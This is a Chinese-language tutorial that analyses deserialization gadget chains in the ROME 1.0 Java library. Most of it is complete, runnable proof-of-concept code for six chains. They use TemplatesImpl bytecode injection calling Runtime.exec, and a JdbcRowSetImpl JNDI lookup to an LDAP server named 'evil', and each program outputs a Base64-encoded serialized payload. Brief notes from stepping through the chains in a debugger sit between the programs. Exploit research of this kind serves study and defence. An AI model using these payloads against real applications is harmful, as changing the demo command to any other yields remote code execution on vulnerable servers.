环境搭建

<dependencies>

    <dependency>

      <groupId>junit</groupId>

      <artifactId>junit</artifactId>

      <version>4.11</version>

      <scope>test</scope>

    </dependency>

    <dependency>

      <groupId>rome</groupId>

      <artifactId>rome</artifactId>

      <version>1.0</version>

    </dependency>

    <dependency>

      <groupId>org.javassist</groupId>

      <artifactId>javassist</artifactId>

      <version>3.28.0-GA</version>

    </dependency>

  </dependencies>

ObjectBean链

先看看调用栈：

 * TemplatesImpl.getOutputProperties()

 * ToStringBean.toString(String)

 * ToStringBean.toString()

 * EqualsBean.beanHashCode()

 * EqualsBean.hashCode()

 * HashMap<K,V>.hash(Object)

 * HashMap<K,V>.readObject(ObjectInputStream)

先给出poc，然后一步步调试分析

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

public class Main {

    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(hashMap);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        Map hashMap = new HashMap();

        hashMap.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean",null);

        setFieldValue(objectBean,"_toStringBean", null);

        ByteArrayOutputStream bos = unSer(hashMap);

        Base64Encode(bos);

    }

}

在readObject处打个断点开始调试

进入HashMap的readObject

跟进hash方法

跟进hashCode方法

来到ObjectBean的hashCode方法，_equalsBean是EqualsBean的实例对象，跟进它的beanHashCode方法

_obj是ToStringBean的实例对象，跟进它的toString方法

进入另一个有参方法toString

this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors，跟进

这里就很怪了，看其它博主的调试文章说是像是fastjson的任意get，set方法调用，在hashMap进行put时会进入getPDs方法，但我经过实际调试确是没法进入这个方法，我跟进的是进入invoke，_obj是我们的TemplatesImpl的实例对象

进入invoke后，往后会调用到NativeMethodAccessorImpl的invoke方法，这里的method是Templates的getOutputProperties方法，var1是我们的TemplatesImpl对象

进入invoke0，就会调用TemplatesImpl的getOutputProperties方法，但是为什么不会弹计算器，这是一个谜，到反序列化的时候，追踪到调用toString的时候才会触发，有师傅知道为什么，麻烦在评论区告诉一下wuwuwu

HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化，因为最终目的始终都是调用hashcode函数，而HashTbale中刚好调用了hashcode，因此仍然可以触发整套流程

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

import java.util.Map;

public class HashTable {

    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(hashMap);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        Map hashTable = new Hashtable();

        hashTable.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean",null);

        setFieldValue(objectBean,"_toStringBean", null);

        ByteArrayOutputStream bos = unSer(hashTable);

        Base64Encode(bos);

    }

}

链子流程跟上一个一样

BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的，他的readObject方法中有toString，因此可以直接连着Rmoe链的ToStringBean，这样也是可以触发的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.management.BadAttributeValueExpException;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.Hashtable;

import java.util.Map;

public class BadAVEE {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);

        setFieldValue(badAttributeValueExpException, "val", toStringBean);

        ByteArrayOutputStream bos = unSer(badAttributeValueExpException);

        Base64Encode(bos);

    }

}

因为不需要hashCode了，所以hashMap和objectbean也就不需要了，直接上ToStringBean，调试流程就不写了，因为没啥太大改动

HotSwappableTargetSource链

这个类有equals方法，可以触发Xstring的toString，那么也就可以接上Rome的后半段，这里注意加个org.springframework.aop.target.HotSwappableTargetSource的依赖

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xpath.internal.objects.XString;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

public class HotSwapp {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));

        HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);

        HashMap<Object, Object> hashMap = new HashMap();

        hashMap.put(h2, h2);

        hashMap.put(h1, h1);

        ByteArrayOutputStream bos = unSer(hashMap);

        Base64Encode(bos);

    }

}

HashMap中的putval会调用equals方法，触发HotSwappableTargetSource的equals方法

左边的target是put进去的h1，右边的target是put进去的h2，这样就会调用XString的equals方法，触发toStringBean的toString方法，链子闭合

JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法，那其实也就和TempaltesImpl链思路是一样的，只是在不能使用TempaltesImpl时可以进行替换，这个类在Fastjson中很常见，用于JDNI注入，那么这样也是一样的进行JNDI注入，所以得注意jdk版本，不能高于jdk191，启动一个恶意LDAP服务

package org.example;

import com.sun.rowset.JdbcRowSetImpl;

import com.sun.syndication.feed.impl.EqualsBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import java.io.*;

import java.lang.reflect.Field;

import java.sql.SQLException;

import java.util.Base64;

import java.util.HashMap;

public class Jdbc {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

        String url = "ldap://127.0.0.1:1099/evil";

        jdbcRowSet.setDataSourceName(url);

        ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);

        EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object, Object> map = new HashMap<>();

        map.put(equalsBean,"xxxxx");

        ByteArrayOutputStream bos = unSer(map);

        Base64Encode(bos);

    }

}

EqualsBean链

通过HashSet来触发EqualsBean的equals，调用到getter，任意get方法调用触发TemplatesImpl

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.EqualsBean;

import javassist.ClassPool;

import javassist.CtClass;

import javassist.CtConstructor;

import javax.xml.transform.Templates;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.*;

/**

 * Hello world!

 *

 */

public class App

{

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{

        Field f = obj.getClass().getDeclaredField(field);

        f.setAccessible(true);

        f.set(obj, arg);

    }

    public static void main( String[] args )

    {

        try {

            ClassPool pool = ClassPool.getDefault();

            CtClass ctClass = pool.makeClass("i");

            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

            ctClass.setSuperclass(superClass);

            CtConstructor constructor = ctClass.makeClassInitializer();

            constructor.setBody("Runtime.getRuntime().exec(\"calc\");");

            byte[] bytes = ctClass.toBytecode();

            TemplatesImpl templatesImpl = new TemplatesImpl();

            setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

            setFieldValue(templatesImpl, "_name", "a");

            setFieldValue(templatesImpl, "_tfactory", null);

            EqualsBean bean = new EqualsBean(String.class, "s");

            HashMap map1 = new HashMap();

            HashMap map2 = new HashMap();

            map1.put("yy", bean);

            map1.put("zZ", templatesImpl);

            map2.put("zZ", bean);

            map2.put("yy", templatesImpl);

            HashSet table = new HashSet();

            table.add(map1);

            table.add(map2);

            //table.put(map1, "1");

            //table.put(map2, "2");

            setFieldValue(bean, "_beanClass", Templates.class);

            setFieldValue(bean, "_obj", templatesImpl);

            unSerial(table);

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

    private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{

        ByteArrayOutputStream bs = new ByteArrayOutputStream();

        ObjectOutputStream out = new ObjectOutputStream(bs);

        out.writeObject(hashMap);

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));

        in.readObject();

        in.close();

        return bs;

    }

    private static void Base64Encode(ByteArrayOutputStream bs){

        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());

        String s = new String(encode);

        System.out.println(s);

        System.out.println(s.length());

    }

}

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Rome反序列化链分析